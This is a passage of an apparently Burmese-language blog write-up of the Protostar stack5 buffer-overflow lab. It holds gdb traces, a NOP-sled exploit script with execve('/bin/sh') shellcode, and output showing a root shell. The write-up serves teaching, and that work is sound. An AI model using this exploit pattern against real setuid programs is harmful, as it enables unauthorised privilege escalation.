Starting program: /opt/protostar/bin/stack5 </tmp/5
0xbffffcbc:     0xbffffcc0      0x6850c031      0x68732f2f      0x69622f68
0xbffffccc:     0x89e3896e      0xb0c289c1      0x3180cd0b      0x80cd40c0
0xbffffcdc:     0x08048200      0x00000001      0xbffffd20      0xb7ff0626
0xbffffcec:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffcfc:     0x00000000      0xbffffd38      0x6a249406      0x40656216
0xbffffd0c:     0x00000000      0x00000000      0x00000000      0x00000001
0xbffffd1c:     0x08048310      0x00000000      0xb7ff6210      0xb7eadb9b
0xbffffd2c:     0xb7ffeff4      0x00000001      0x08048310      0x00000000
0x80483da <main+22>:    0x909090c3
0x80483da <main+22>:    ret
0x80483db:      nop

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      in stack5/stack5.c
(gdb) ni
Cannot access memory at address 0x53535357
(gdb)
0xbffffcc0:     0x6850c031      0x68732f2f      0x69622f68      0x89e3896e
0xbffffcd0:     0xb0c289c1      0x3180cd0b      0x80cd40c0      0x08048200
0xbffffce0:     0x00000001      0xbffffd20      0xb7ff0626      0xb7fffab0
0xbffffcf0:     0xb7fe1b28      0xb7fd7ff4      0x00000000      0x00000000
0xbffffd00:     0xbffffd38      0x6a249406      0x40656216      0x00000000
0xbffffd10:     0x00000000      0x00000000      0x00000001      0x08048310
0xbffffd20:     0x00000000      0xb7ff6210      0xb7eadb9b      0xb7ffeff4
0xbffffd30:     0x00000001      0x08048310      0x00000000      0x08048331
0xbffffcc2:     0x2f2f6850
0xbffffcc2:     push   eax
0xbffffcc3:     push   0x68732f2f
0xbffffcc2 in ?? ()
(gdb)
0xbffffcbc:     0x00000000      0x6850c031      0x68732f2f      0x69622f68
0xbffffccc:     0x89e3896e      0xb0c289c1      0x3180cd0b      0x80cd40c0
0xbffffcdc:     0x08048200      0x00000001      0xbffffd20      0xb7ff0626
0xbffffcec:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffcfc:     0x00000000      0xbffffd38      0x6a249406      0x40656216
0xbffffd0c:     0x00000000      0x00000000      0x00000000      0x00000001
0xbffffd1c:     0x08048310      0x00000000      0xb7ff6210      0xb7eadb9b
0xbffffd2c:     0xb7ffeff4      0x00000001      0x08048310      0x00000000
0xbffffcc3:     0x732f2f68
0xbffffcc3:     push   0x68732f2f
0xbffffcc8:     push   0x6e69622f
0xbffffcc3 in ?? ()
(gdb)
0xbffffcb8:     0x68732f2f      0x00000000      0x6850c031      0x68732f2f
0xbffffcc8:     0x69622f68      0x89e3896e      0xb0c289c1      0x3180cd0b
0xbffffcd8:     0x80cd40c0      0x08048200      0x00000001      0xbffffd20
0xbffffce8:     0xb7ff0626      0xb7fffab0      0xb7fe1b28      0xb7fd7ff4
0xbffffcf8:     0x00000000      0x00000000      0xbffffd38      0x6a249406
0xbffffd08:     0x40656216      0x00000000      0x00000000      0x00000000
0xbffffd18:     0x00000001      0x08048310      0x00000000      0xb7ff6210
0xbffffd28:     0xb7eadb9b      0xb7ffeff4      0x00000001      0x08048310
0xbffffcc8:     0x69622f68
0xbffffcc8:     push   0x6e69622f
0xbffffccd:     mov    ebx,esp
0xbffffcc8 in ?? ()
(gdb)
0xbffffcb4:     0x6e69622f      0x68732f2f      0x00000000      0x6850c031
0xbffffcc4:     0x68732f2f      0x69622f68      0x89e3896e      0xb0c289c1
0xbffffcd4:     0x3180cd0b      0x80cd40c0      0x08048200      0x00000001
0xbffffce4:     0xbffffd20      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffffcf4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffffd38
0xbffffd04:     0x6a249406      0x40656216      0x00000000      0x00000000
0xbffffd14:     0x00000000      0x00000001      0x08048310      0x00000000
0xbffffd24:     0xb7ff6210      0xb7eadb9b      0xb7ffeff4      0x00000001
0xbffffccd:     0xc189e389
0xbffffccd:     mov    ebx,esp
0xbffffccf:     mov    ecx,eax
0xbffffccd in ?? ()
(gdb)
0xbffffcb4:     0x6e69622f      0x68732f2f      0x00000000      0x6850c031
0xbffffcc4:     0x68732f2f      0x69622f68      0x89e3896e      0xb0c289c1
0xbffffcd4:     0x3180cd0b      0x80cd40c0      0x08048200      0x00000001
0xbffffce4:     0xbffffd20      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffffcf4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffffd38
0xbffffd04:     0x6a249406      0x40656216      0x00000000      0x00000000
0xbffffd14:     0x00000000      0x00000001      0x08048310      0x00000000
0xbffffd24:     0xb7ff6210      0xb7eadb9b      0xb7ffeff4      0x00000001
0xbffffccf:     0xc289c189
0xbffffccf:     mov    ecx,eax
0xbffffcd1:     mov    edx,eax
0xbffffccf in ?? ()
(gdb)
0xbffffcb4:     0x6e69622f      0x68732f2f      0x00000000      0x6850c031
0xbffffcc4:     0x68732f2f      0x69622f68      0x89e3896e      0xb0c289c1
0xbffffcd4:     0x3180cd0b      0x80cd40c0      0x08048200      0x00000001
0xbffffce4:     0xbffffd20      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffffcf4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffffd38
0xbffffd04:     0x6a249406      0x40656216      0x00000000      0x00000000
0xbffffd14:     0x00000000      0x00000001      0x08048310      0x00000000
0xbffffd24:     0xb7ff6210      0xb7eadb9b      0xb7ffeff4      0x00000001
0xbffffcd1:     0x0bb0c289
0xbffffcd1:     mov    edx,eax
0xbffffcd3:     mov    al,0xb
0xbffffcd1 in ?? ()
(gdb)
0xbffffcb4:     0x6e69622f      0x68732f2f      0x00000000      0x6850c031
0xbffffcc4:     0x68732f2f      0x69622f68      0x89e3896e      0xb0c289c1
0xbffffcd4:     0x3180cd0b      0x80cd40c0      0x08048200      0x00000001
0xbffffce4:     0xbffffd20      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffffcf4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffffd38
0xbffffd04:     0x6a249406      0x40656216      0x00000000      0x00000000
0xbffffd14:     0x00000000      0x00000001      0x08048310      0x00000000
0xbffffd24:     0xb7ff6210      0xb7eadb9b      0xb7ffeff4      0x00000001
0xbffffcd3:     0x80cd0bb0
0xbffffcd3:     mov    al,0xb
0xbffffcd5:     int    0x80
0xbffffcd3 in ?? ()
(gdb)
0xbffffcb4:     0x6e69622f      0x68732f2f      0x00000000      0x6850c031
0xbffffcc4:     0x68732f2f      0x69622f68      0x89e3896e      0xb0c289c1
0xbffffcd4:     0x3180cd0b      0x80cd40c0      0x08048200      0x00000001
0xbffffce4:     0xbffffd20      0xb7ff0626      0xb7fffab0      0xb7fe1b28
0xbffffcf4:     0xb7fd7ff4      0x00000000      0x00000000      0xbffffd38
0xbffffd04:     0x6a249406      0x40656216      0x00000000      0x00000000
0xbffffd14:     0x00000000      0x00000001      0x08048310      0x00000000
0xbffffd24:     0xb7ff6210      0xb7eadb9b      0xb7ffeff4      0x00000001
0xbffffcd5:     0xc03180cd
0xbffffcd5:     int    0x80
0xbffffcd7:     xor    eax,eax
0xbffffcd5 in ?? ()
(gdb)
Executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.

Program exited normally.
Error while running hook_stop:
No registers.

Executing new program: /bin/dash ဒီေတာ့ shell အလုပ္လုပ္သြားျပီ။ gdb ထဲမွာဆိုရင္ေတာ့ root ျဖစ္မွာမဟုတ္ဘူး။ ေနာက္တစ္ခုကလာေပၚမေနတာကိုလဲေတြ႕ရမွာျဖစ္ပါတယ္။

run ၾကည့္မယ္ အျပင္မွာ

$ cat /tmp/5 | ./stack5
Illegal instruction

GDB နဲ႕ အျပင္မွာနဲ႕ stack address ကမတူၾကတာမ်ားပါတယ္။ ဒီလိုအခါမ်ိဳးမွာ ခုလို Error တက္မွာပါ။ ဒါေၾကာင့္ ေသခ်ာအလုပ္လုပ္ေစခ်င္ရင္ သံုးတဲ့ trick ေလးေတြရွိပါတယ္။

unset ENV

NOP စသည္ျဖင့္ေပါ့

ဒါေပမဲ့ က်ေနာ္ကေတာ့ NOP ကိုၾကိုက္တယ္လြယ္လို႕

"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"+"\xc0\xfc\xff\xbf"+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

NOP in esp

(gdb) ni
Cannot access memory at address 0x53535357
(gdb)
0xbffffcc0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcd0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffffce0:     0x89e3896e      0xb0c289c1      0x3180cd0b      0x80cd40c0
0xbffffcf0:     0xb7fe1b00      0xb7fd7ff4      0x00000000      0x00000000

New EIP to NOP

ဒီတစ္ခါေတာ့ ျပင္ရလြယ္ေအာင္လို႕ python file နဲ႕တစ္ခါတည္းေရးလိုက္တာေကာင္းတယ္။

import struct
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"

EIP = struct.pack("I",0xbffffccc+30)

nop = "\x90"*100
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print(padding+EIP+nop+shellcode)

struct ကိုသံုးလိုက္ရင္ဘာေတြသက္သာသြားလဲဆိုေတာ့ Little Endian ေတြဘာေတြမလုပ္ရေတာ့ဘူ ။ အေပါင္းအနွတ္ programmer calucalator ေတြဘာေတြဖြင့္စရာမလိုေတာ့ဘူးေပါ့။

run လိုက္ရင္ program က ေပၚမလာဘူးျဖစ္ေနမယ္။ ဘာေၾကာင့္လဲဆိုရင္ input output မရွိလို႕ျဖစ္ပါတယ္။ ဒါေၾကာင့္ က်ေနာ္တို႕က Std input output ကိုလုပ္နိုင္တဲ့ cat ကိုသံုးနိုင္တယ္။

Nice

$ (python /tmp/expoit.py;cat;) | ./stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

Stack 6 နဲ႕ Stack7 က ရိုးရိုး BoF ပိုခက္ပါတယ္။ ဒါေၾကာင့္ ေနာက္ထပ္ ေခါင္းစဥ္နဲ႕ပဲေရးလိုက္တာေကာင္းမယ္လို႕ထင္ျပီး ဒီမွာတင္ရပ္လိုက္ပါမယ္။

Referecne ေတြကေတာ့ေပးစရာေတြအမ်ားၾကီးပဲဗ်။ LiveOverflow ကိုေတာ့ referece ေပးတဲ့အျပင္ ေလွ်ာက္ေမးတာေတြပါေျဖေပးတဲ့အတြက္ အရမ္းသေဘာက်တယ္။

 

2 Comments

  1. အပင္ပန္းခံျပီး ေရးထားေပးလို့လား မသိဘူး ေတာ္ေတ္ာ ေကာင္းတယ္ Bro Thinking ေလးေတြ ယူသြားတယ္ေနာ္ ၊၊ အခုလို ရွင္းျပထားေပးလို့လညး္ ေက်းဇူးတင္ပါတယ္ 😀 😀 ..

Comments are closed.